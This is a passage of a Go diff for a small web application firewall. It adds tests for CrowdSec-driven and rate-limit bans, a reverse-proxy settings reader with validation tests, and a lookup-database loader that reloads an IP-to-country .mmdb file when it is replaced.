+	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
+		t.Errorf("the ban on %s has %q and %q, want neither",
+			other, notes.ASN, notes.Country)
+	}
+}
+
 // defaultRules are the rules at the settings' defaults.
 func defaultRules() bans.Rules {
 	return bans.Rules{

internal/bans/crowdsec_test.go

@@ -0,0 +1,90 @@
+package bans_test
+
+import (
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+)
+
+// scenario is the scenario of the tests' CrowdSec decisions.
+const scenario = "crowdsecurity/ssh-bf"
+
+func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	expires := midnight().Add(4 * time.Hour)
+
+	// The ban that would be made is not made.
+	would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
+		scenario, bans.Notes{})
+	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
+		t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
+			wouldBan, ledger.Bans(netblock))
+	}
+
+	const reason = "CrowdSec's decision for " + scenario
+
+	ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
+		bans.Notes{})
+	if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
+		!ban.Expires.Equal(expires) || ban.Reason != reason ||
+		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
+			"crowdsec until %s", made, ban, would, expires)
+	}
+
+	// A second decision on the netblock while the ban lasts makes no other.
+	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
+		expires.Add(time.Hour), scenario, bans.Notes{})
+	if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
+	}
+}
+
+func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	expires := midnight().Add(4 * time.Hour)
+	ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
+
+	// A request as the ban ends is refused, and leaves it as it is.
+	last := expires.Add(-time.Nanosecond)
+
+	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
+	if !banned || madePermanent || !held.Expires.Equal(expires) ||
+		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
+		t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
+			"refused under the ban as it was", banned, held, madePermanent)
+	}
+
+	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
+		t.Error("the ban refuses a request once the decision has ended")
+	}
+}
+
+func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	// Three times the three days would be permanent; a limit broken as the
+	// ban for CrowdSec's decision ends bans for an hour, as a first broken
+	// limit does.
+	crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
+		scenario, bans.Notes{})
+	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
+
+	if limit.Expires.Sub(limit.Start) != time.Hour ||
+		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
+		t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
+			limit)
+	}
+}

internal/bans/snapshot_test.go

@@ -2,6 +2,7 @@ package bans_test
 
 import (
 	"net/netip"
+	"reflect"
 	"slices"
 	"strings"
 	"testing"
@@ -42,7 +43,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
 	high := netip.MustParsePrefix("203.0.113.10/32")
 	low := netip.MustParsePrefix("203.0.113.9/32")
 
-	first := ledger.BanForLimit(v6, midnight(), bans.Notes{})
+	first, _ := ledger.BanForLimit(v6, midnight(), bans.Notes{})
 	ledger.BanForLimit(high, midnight(), bans.Notes{})
 	ledger.BanForLimit(low, midnight(), bans.Notes{})
 	ledger.BanForLimit(v6, first.Expires, bans.Notes{})
@@ -68,7 +69,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
 
 	before := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
+	ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
 
 	// Loaded into a new ledger, as across a restart, the ban still refuses
 	// while it lasts, and once it has ended a broken limit bans for three
@@ -76,12 +77,12 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	after := bans.New(defaultRules())
 	after.Load(before.Snapshot())
 
-	_, banned := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
+	_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
 	if !banned {
 		t.Error("the loaded ban does not refuse")
 	}
 
-	again := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
+	again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
 	if again.Expires.Sub(again.Start) != 3*time.Hour ||
 		again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
 		t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
@@ -111,7 +112,7 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
 		"198.51.100.7":    true,
 		"198.51.100.8":    false,
 	} {
-		_, banned := ledger.Check(netip.MustParseAddr(client), midnight())
+		_, banned, _ := ledger.Check(netip.MustParseAddr(client), midnight())
 		if banned != want {
 			t.Errorf("%s is refused: %t, want %t", client, banned, want)
 		}
@@ -150,19 +151,19 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 	now := midnight().Add(2 * time.Hour)
 	client := netip.MustParseAddr("203.0.113.9")
 
-	ban, banned := ledger.Find(client, now)
+	ban, banned, _ := ledger.Find(client, now)
 	if !banned || !ban.Permanent() {
 		t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
 	}
 
-	ban, banned = ledger.Check(client, now)
+	ban, banned, _ = ledger.Check(client, now)
 	if !banned || !ban.Permanent() {
 		t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
 			banned, ban)
 	}
 
 	// A limit broken now makes no shorter ban over the permanent one.
-	ban = ledger.BanForLimit(netblock, now, bans.Notes{})
+	ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
 	if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
 		t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
 			"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
@@ -194,7 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
 	// Once both have ended, a limit broken within the repeat window bans
 	// for three times the 9 hours, and the notes count the two bans
 	// before the 9-hour one and it, for a limit, and the admin's.
-	ban := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
+	ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
 		t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -224,7 +225,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
 	ledger.Load([]bans.Ban{later, earlier})
 
 	held := ledger.Snapshot()
-	if len(held) != 1 || held[0] != later {
+	if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
 		t.Errorf("the ledger holds %+v, want only the ban that began later", held)
 	}
 }
@@ -255,19 +256,19 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
 	// bans.json is taken in, that ban is lifted.
 	ledger.Load([]bans.Ban{kept})
 
-	_, banned := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
+	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
 	if banned {
 		t.Error("a ban left out of the second load still refuses")
 	}
 
 	// The ledger holds one ban, so it makes two more without dropping any.
-	first := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
+	first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
 		bans.Notes{})
-	second := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
+	second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
 		bans.Notes{})
 
 	want := []bans.Ban{first, second, kept}
-	if got := ledger.Snapshot(); !slices.Equal(got, want) {
+	if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
 		t.Errorf("the ledger holds %+v, want %+v", got, want)
 	}
 }

internal/config/rproxy.go

@@ -0,0 +1,192 @@
+package config
+
+import (
+	"errors"
+	"fmt"
+	"log/slog"
+	"math"
+	"net/netip"
+	"net/url"
+	"strconv"
+	"strings"
+	"time"
+)
+
+// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero
+// is off.
+type RProxy struct {
+	// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
+	ListenAddr string
+	// UpstreamURL is the app (SWRP_UPSTREAM_URL).
+	UpstreamURL *url.URL
+	// TrustedProxies are the netblocks whose X-Forwarded-For is believed
+	// (SWRP_TRUSTED_PROXIES).
+	TrustedProxies []netip.Prefix
+	// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND).
+	WAFBackend *url.URL
+	// Timeout is how long rproxy waits for servewaf's answer to a question,
+	// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
+	Timeout time.Duration
+	// DefaultDisposition is what is done with a request when servewaf cannot be
+	// connected to, does not answer at all, or does not answer within Timeout:
+	// allow or deny (SWRP_DEFAULT_DISPOSITION).
+	DefaultDisposition string
+	// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
+	// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
+	MaxRequestSize  int64
+	MaxResponseSize int64
+	// MaxRequestTime bounds sending the whole request: the visitor's request
+	// line and headers, and then, from their end, its body on its way to the
+	// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
+	// the end of the request to its last byte reaching the visitor
+	// (SWRP_MAX_RESPONSE_TIME_MS).
+	MaxRequestTime  time.Duration
+	MaxResponseTime time.Duration
+
+	// settings are the values read, as given or by default, for the log line
+	// at start.
+	settings []slog.Attr
+}
+
+var (
+	errNeedsWAFBackend = errors.New(
+		"is required: it is servewaf's URL, such as http://servewaf:8080")
+	errNotDisposition  = errors.New("is not allow or deny")
+	errNotMilliseconds = errors.New(
+		"is not a whole number of milliseconds above zero, such as 2000")
+	errNotMillisecondsOrOff = errors.New(
+		"is not a whole number of milliseconds above zero, such as 60000, or off")
+)
+
+// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
+// os.LookupEnv. A setting that is not set takes its default, and
+// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
+// invalid is an error that names it. Since rproxy never touches disk, its
+// settings have no _FILE form.
+func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
+	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
+	cfg := &RProxy{
+		ListenAddr:         env.address("SWRP_LISTEN_ADDR"),
+		UpstreamURL:        env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
+		TrustedProxies:     env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
+		WAFBackend:         env.wafBackend("SWRP_WAF_BACKEND"),
+		Timeout:            env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
+		DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
+		MaxRequestSize:     env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
+		MaxResponseSize:    env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
+		MaxRequestTime:     env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
+		MaxResponseTime:    env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
+	}
+
+	if env.err != nil {
+		return nil, env.err
+	}
+
+	cfg.settings = env.settings
+
+	return cfg, nil
+}
+
+// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
+// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
+// setting, so it reads no other.
+func RProxyListenAddrAndUpstreamURL(
+	lookupEnv func(string) (string, bool),
+) (string, *url.URL, error) {
+	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
+	listenAddr := env.address("SWRP_LISTEN_ADDR")
+	upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
+
+	if env.err != nil {
+		return "", nil, env.err
+	}
+
+	return listenAddr, upstreamURL, nil
+}
+
+// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
+// rproxy never touches disk.
+func withoutFileForms(
+	lookupEnv func(string) (string, bool),
+) func(string) (string, bool) {
+	return func(name string) (string, bool) {
+		if strings.HasSuffix(name, "_FILE") {
+			return "", false
+		}
+
+		return lookupEnv(name)
+	}
+}
+
+// LogValue makes an RProxy log as each setting's name with the value it was
+// given, or its default.
+func (c *RProxy) LogValue() slog.Value {
+	return slog.GroupValue(c.settings...)
+}
+
+// wafBackend reads the setting that is servewaf's URL, which must be set.
+func (e *environment) wafBackend(name string) *url.URL {
+	value := e.value(name, "")
+	if value == "" {
+		e.check(name, errNeedsWAFBackend)
+
+		return nil
+	}
+
+	backend, err := parseUpstreamURL(value)
+	e.check(name, err)
+
+	return backend
+}
+
+// disposition reads the setting that is what is done with a request when servewaf
+// cannot be connected to, does not answer at all, or does not answer in time:
+// allow or deny.
+func (e *environment) disposition(name, defaultValue string) string {
+	value := e.value(name, defaultValue)
+	if value != "allow" && value != "deny" {
+		e.check(name, fmt.Errorf("%q %w", value, errNotDisposition))
+	}
+
+	return value
+}
+
+// milliseconds reads a setting that is a whole number of milliseconds above
+// zero.
+func (e *environment) milliseconds(name, defaultValue string) time.Duration {
+	value := e.value(name, defaultValue)
+
+	duration, valid := parseMilliseconds(value)
+	if !valid {
+		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
+	}
+
+	return duration
+}
+
+// millisecondsOrOff reads a setting that is a whole number of milliseconds
+// above zero, or off, which is 0.
+func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
+	value := e.value(name, defaultValue)
+	if value == off {
+		return 0
+	}
+
+	duration, valid := parseMilliseconds(value)
+	if !valid {
+		e.check(name, fmt.Errorf("%q %w", value, errNotMillisecondsOrOff))
+	}
+
+	return duration
+}
+
+// parseMilliseconds reads a whole number of milliseconds above zero, and
+// reports whether it is one.
+func parseMilliseconds(value string) (time.Duration, bool) {
+	n, err := strconv.ParseInt(value, 10, 64)
+	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
+		return 0, false
+	}
+
+	return time.Duration(n) * time.Millisecond, true
+}

internal/config/rproxy_test.go

@@ -0,0 +1,231 @@
+package config_test
+
+import (
+	"net/netip"
+	"os"
+	"path/filepath"
+	"slices"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+// rproxy's settings, by name, and their values in these tests.
+const (
+	wafBackend        = "SWRP_WAF_BACKEND"
+	rproxyTimeout     = "SWRP_TIMEOUT_MS"
+	rproxyDefault     = "SWRP_DEFAULT_DISPOSITION"
+	rproxyListen      = "SWRP_LISTEN_ADDR"
+	rproxyUpstream    = "SWRP_UPSTREAM_URL"
+	rproxyTrusted     = "SWRP_TRUSTED_PROXIES"
+	rproxyMaxRequest  = "SWRP_MAX_REQUEST_SIZE"
+	rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
+	rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
+	rproxyAnswerTime  = "SWRP_MAX_RESPONSE_TIME_MS"
+	backendURL        = "http://servewaf:8080"
+	rproxyDefaultAddr = ":8080"
+	rproxyDefaultApp  = "http://127.0.0.1:8081"
+	notASize          = "a lot"
+)
+
+// rproxyConfig reads rproxy's settings from env.
+func rproxyConfig(env map[string]string) (*config.RProxy, error) {
+	return config.RProxyFromEnvironment(func(name string) (string, bool) {
+		value, ok := env[name]
+
+		return value, ok
+	})
+}
+
+func TestRProxyDefaults(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	if cfg.ListenAddr != rproxyDefaultAddr ||
+		cfg.UpstreamURL.String() != rproxyDefaultApp ||
+		cfg.WAFBackend.String() != backendURL {
+		t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
+	}
+
+	if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
+		t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
+	}
+
+	if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
+		t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
+	}
+
+	if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
+		t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
+	}
+
+	want := []netip.Prefix{
+		netip.MustParsePrefix("10.0.0.0/8"),
+		netip.MustParsePrefix("172.16.0.0/12"),
+		netip.MustParsePrefix("192.168.0.0/16"),
+	}
+	if !slices.Equal(cfg.TrustedProxies, want) {
+		t.Errorf("trusted proxies %v, want %v", cfg.TrustedProxies, want)
+	}
+}
+
+func TestRProxySettingsAreRead(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{
+		wafBackend:        "https://waf.example:8443",
+		rproxyListen:      ":9000",
+		rproxyUpstream:    "http://app:3000",
+		rproxyTrusted:     "192.0.2.0/24",
+		rproxyTimeout:     "150",
+		rproxyDefault:     "deny",
+		rproxyMaxRequest:  "1K",
+		rproxyMaxResponse: off,
+		rproxyRequestTime: off,
+		rproxyAnswerTime:  "250",
+	})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	if cfg.ListenAddr != ":9000" || cfg.UpstreamURL.Host != "app:3000" ||
+		cfg.WAFBackend.Host != "waf.example:8443" ||
+		cfg.TrustedProxies[0] != netip.MustParsePrefix("192.0.2.0/24") {
+		t.Errorf("addresses %+v", cfg)
+	}
+
+	if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
+		cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
+		cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
+		t.Errorf("limits %+v", cfg)
+	}
+}
+
+func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, value string
+	}{
+		{wafBackend, ""},
+		{wafBackend, "servewaf:8080"},
+		{wafBackend, "http://servewaf:8080/path"},
+		{rproxyTimeout, "0"},
+		{rproxyTimeout, "-1"},
+		{rproxyTimeout, off},
+		{rproxyTimeout, "2s"},
+		{rproxyTimeout, "1.25"},
+		{rproxyTimeout, "99999999999999999"},
+		{rproxyDefault, "maybe"},
+		{rproxyListen, "8080"},
+		{rproxyUpstream, "app"},
+		{rproxyUpstream, "127.0.0.1:8081"},
+		{rproxyUpstream, "ftp://127.0.0.1:8081"},
+		{rproxyUpstream, "http://"},
+		{rproxyUpstream, "http://:8081"},
+		{rproxyUpstream, "http://127.0.0.1:0"},
+		{rproxyUpstream, "http://127.0.0.1:99999"},
+		{rproxyUpstream, "http://127.0.0.1:8081/app"},
+		{rproxyUpstream, "http://127.0.0.1:8081/?a=1"},
+		{rproxyUpstream, "http://user:secret@127.0.0.1:8081"},
+		{rproxyTrusted, "not a netblock"},
+		{rproxyTrusted, "10.0.0.0/33"},
+		{rproxyTrusted, "10.0.0.0/8,,192.168.0.0/16"},
+		{rproxyTrusted, "fe80::1%eth0"},
+		{rproxyMaxRequest, notASize},
+		{rproxyMaxResponse, notASize},
+		{rproxyRequestTime, "0"},
+		{rproxyRequestTime, "1m"},
+		{rproxyAnswerTime, "0"},
+	} {
+		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
+			if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
+				t.Errorf("error %v, want one naming %s", err, tc.name)
+			}
+		})
+	}
+}
+
+func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	if len(cfg.TrustedProxies) != 0 {
+		t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
+	}
+}
+
+func TestRProxyNeedsItsBackend(t *testing.T) {
+	t.Parallel()
+
+	_, err := rproxyConfig(nil)
+	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+		t.Errorf("error %v, want one saying %s is required", err, wafBackend)
+	}
+}
+
+func TestRProxyReadsNoFile(t *testing.T) {
+	t.Parallel()
+
+	path := filepath.Join(t.TempDir(), "backend")
+
+	err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+
+	_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
+	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+		t.Errorf("error %v, want %s still required", err, wafBackend)
+	}
+
+	cfg, err := rproxyConfig(map[string]string{
+		wafBackend:              backendURL,
+		rproxyTimeout + "_FILE": "/nonexistent/timeout",
+	})
+	if err != nil {
+		t.Fatalf("settings: %v, with the file left unread", err)
+	}
+
+	if cfg.Timeout != 2*time.Second {
+		t.Errorf("timeout %v, want the default", cfg.Timeout)
+	}
+}
+
+func TestRProxySettingsAreLoggedByName(t *testing.T) {
+	t.Parallel()
+
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
+	if err != nil {
+		t.Fatalf("settings: %v", err)
+	}
+
+	group := cfg.LogValue().Group()
+
+	names := make([]string, 0, len(group))
+	for _, attr := range group {
+		names = append(names, attr.Key)
+	}
+
+	for _, name := range []string{
+		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
+		rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
+	} {
+		if !slices.Contains(names, name) {
+			t.Errorf("%s is not logged, only %v", name, names)
+		}
+	}
+}

internal/lookup/file.go

@@ -0,0 +1,255 @@
+package lookup
+
+import (
+	"context"
+	"fmt"
+	"log/slog"
+	"net/netip"
+	"os"
+	"path/filepath"
+	"sync"
+	"time"
+
+	"github.com/fsnotify/fsnotify"
+	"github.com/oschwald/maxminddb-golang/v2"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+)
+
+// FIXME: you can't call things just "File" - that's super vague.
+
+// FIXME: "lookup database" - in memory on disk?  you must not be so
+// ambiguous when describing things.
+
+// quietTime is how long the lookup database must go without a change
+// before it is read again, so that a file still being copied in is read
+// only once whole.
+const quietTime = 2 * time.Second
+
+// FileParams are what OpenFile needs.
+type FileParams struct {
+	// Path is the lookup database, the IPinfo Lite file in its .mmdb form
+	// (SWWAF_LOOKUP_DB_PATH).
+	Path string
+	// Now tells the time, normally time.Now.
+	Now func() time.Time
+	// ProcessLog receives each reading of the file, and why a replacement
+	// of it cannot be read.
+	ProcessLog *slog.Logger
+	// Alerts receive a file_error alert for each replacement that cannot
+	// be read.
+	Alerts *alerts.Queue
+}
+
+// File looks up clients' AS numbers and countries in the lookup database,
+// held in memory, and reads it again when it is replaced. It is safe for
+// concurrent use.
+type File struct {
+	params FileParams
+
+	mu sync.Mutex
+	// reader is the database in use, and lastRead when it was read.
+	// readFailures are the replacements that could not be read.
+	reader       *maxminddb.Reader
+	lastRead     time.Time
+	readFailures int
+}
+
+// record is what the lookup database holds about a network, of the fields
+// smallwebwaf reads.
+type record struct {
+	ASN         string `maxminddb:"asn"`
+	ASName      string `maxminddb:"as_name"`
+	CountryCode string `maxminddb:"country_code"`
+}
+
+// OpenFile reads the lookup database. A file that cannot be read, or that
+// is not a .mmdb file, is an error.
+func OpenFile(params FileParams) (*File, error) {
+	reader, err := read(params.Path)
+	if err != nil {
+		return nil, err
+	}
+
+	f := &File{params: params}
+	f.use(reader)
+
+	return f, nil
+}
+
+// LookUp returns what the lookup database says about client: its AS
+// number, such as AS64496, the AS's name, and its country, such as DE,
+// each "" when the database does not give it, as for an address missing
+// from it. The database is asked about the client's first address, as
+// GeoJS is.
+func (f *File) LookUp(client netip.Prefix) Answer {
+	f.mu.Lock()
+	reader := f.reader
+	f.mu.Unlock()
+
+	var found record
+
+	// A record that cannot be decoded places the client nowhere, as a
+	// missing one does.
+	err := reader.Lookup(client.Addr()).Decode(&found)
+	if err != nil {
+		found = record{}
+	}
+
+	return Answer{
+		Client:   client,
+		ASN:      found.ASN,
+		ASName:   found.ASName,
+		Country:  found.CountryCode,
+		Answered: f.params.Now(),
+	}
+}
+
+// LastRead returns when the lookup database in use was read.
+func (f *File) LastRead() time.Time {
+	f.mu.Lock()
+	defer f.mu.Unlock()
+
+	return f.lastRead
+}
+
+// ReadFailures returns how many replacements of the lookup database could
+// not be read.
+func (f *File) ReadFailures() int {
+	f.mu.Lock()
+	defer f.mu.Unlock()
+
+	return f.readFailures
+}
+
+// Watch watches the directory of the lookup database until ctx is done,
+// and reads the file again once it has gone without a change for
+// quietTime, after it is replaced, written or removed, and after Watch
+// starts watching. If the directory cannot be watched, that is logged, and
+// the database read at start stays in use.
+func (f *File) Watch(ctx context.Context) {
+	watcher, err := fsnotify.NewWatcher()
+	if err == nil {
+		defer func() {
+			_ = watcher.Close()
+		}()
+
+		err = watcher.Add(filepath.Dir(f.params.Path))
+	}
+
+	if err != nil {
+		f.params.ProcessLog.Error(
+			"cannot watch the lookup database for replacements",
+			"error",
+			err.Error(),
+		)
+
+		return
+	}
+
+	f.params.ProcessLog.Info("watching the lookup database for replacements",
+		"file", f.params.Path)
+
+	f.readAfterChanges(ctx, watcher.Events, watcher.Errors)
+}
+
+// readAfterChanges reads the lookup database again once quietTime has
+// passed without a change to it from events, until ctx is done, and logs
+// the errors from errs. A change to another file in its directory does not
+// count. The wait starts at once, as if for a change, so that a file
+// replaced after OpenFile read it, and before its directory was watched,
+// is read too.
+func (f *File) readAfterChanges(
+	ctx context.Context, events <-chan fsnotify.Event, errs <-chan error,
+) {
+	path := filepath.Clean(f.params.Path)
+
+	quiet := time.NewTimer(quietTime)
+	defer quiet.Stop()
+
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case event := <-events:
+			if filepath.Clean(event.Name) == path {
+				quiet.Reset(quietTime)
+			}
+		case <-quiet.C:
+			f.readAgain()
+		case err := <-errs:
+			f.params.ProcessLog.Warn("watching the lookup database failed",
+				"error", err.Error())
+		}
+	}
+}
+
+// readAgain reads the lookup database again, in place of the one in use,
+// or, if it cannot be read, counts that, raises a file_error alert for it
+// and logs it, and the one in use stays in use.
+func (f *File) readAgain() {
+	reader, err := read(f.params.Path)
+	if err != nil {
+		const kept = "the lookup database cannot be read, " +
+			"and the one read before stays in use"
+
+		f.mu.Lock()
+		f.readFailures++
+		f.mu.Unlock()
+
+		// Raised before it is logged, so that the alert is there once the
+		// log line is.
+		f.params.Alerts.Raise(alerts.Alert{
+			Event:  alerts.EventFileError,
+			Reason: kept,
+			Detail: map[string]any{
+				"file":  f.params.Path,
+				"error": err.Error(),
+			},
+		})
+		f.params.ProcessLog.Error(kept, "error", err.Error())
+
+		return
+	}
+
+	f.use(reader)
+}
+
+// use puts reader in use, in place of the database read before, and logs
+// that the file was read.
+func (f *File) use(reader *maxminddb.Reader) {
+	f.mu.Lock()
+	f.reader = reader
+	f.lastRead = f.params.Now()
+	f.mu.Unlock()
+
+	f.params.ProcessLog.Info(
+		"read the lookup database",
+		"file",
+		f.params.Path,
+	)
+}
+
+// read reads the lookup database at path. The whole file is read into
+// memory, rather than mapped into it as the reader can, so that a file
+// overwritten in place cannot change, or end, under a lookup.
+func read(path string) (*maxminddb.Reader, error) {
+	data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
+	if err != nil {
+		return nil, fmt.Errorf(
+			"SWWAF_LOOKUP_DB_PATH cannot be read: %w",
+			err,
+		)
+	}
+
+	reader, err := maxminddb.OpenBytes(data)
+	if err != nil {
+		return nil, fmt.Errorf(
+			"SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
+			path,
+			err,
+		)
+	}
+
+	return reader, nil
+}

internal/lookup/file_internal_test.go

@@ -0,0 +1,379 @@
+package lookup
+
+import (
+	"context"
+	"log/slog"
+	"net/netip"
+	"net/url"
+	"os"
+	"path/filepath"
+	"reflect"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"github.com/fsnotify/fsnotify"
+	"github.com/maxmind/mmdbwriter/mmdbtype"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+)
+
+// testNetblock is the netblock the tests' lookup databases place, and
+// testClient a client in it.
+const (
